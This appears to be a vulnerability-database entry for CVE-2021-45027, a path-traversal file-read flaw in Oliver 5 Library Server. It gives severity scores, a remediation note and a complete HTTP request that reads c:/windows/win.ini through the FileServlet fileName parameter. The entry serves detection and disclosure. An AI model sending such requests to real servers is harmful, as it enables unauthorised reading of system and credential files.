| Title | Oliver 5 Library Server <8.00.008.053 - Local File Inclusion |
|---|---|
| Author | gy741 |
| Severity | High |
| Impact | Unauthenticated attackers can read arbitrary files from the Windows server including win.ini via path traversal in the fileName parameter. |
| Remediation | Upgrade to Oliver 5 Library Server version 8.00.008.053 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.14201 |
| CVE ID | CVE-2021-45027 |
| CWE ID | CWE-22 |
| Tags | cve cve2021 lfi oliver edb windows vuln |
Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.
GET /oliver/FileServlet?source=serverFile&fileName=c:/windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45027.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-45027.pcap
N/AN/A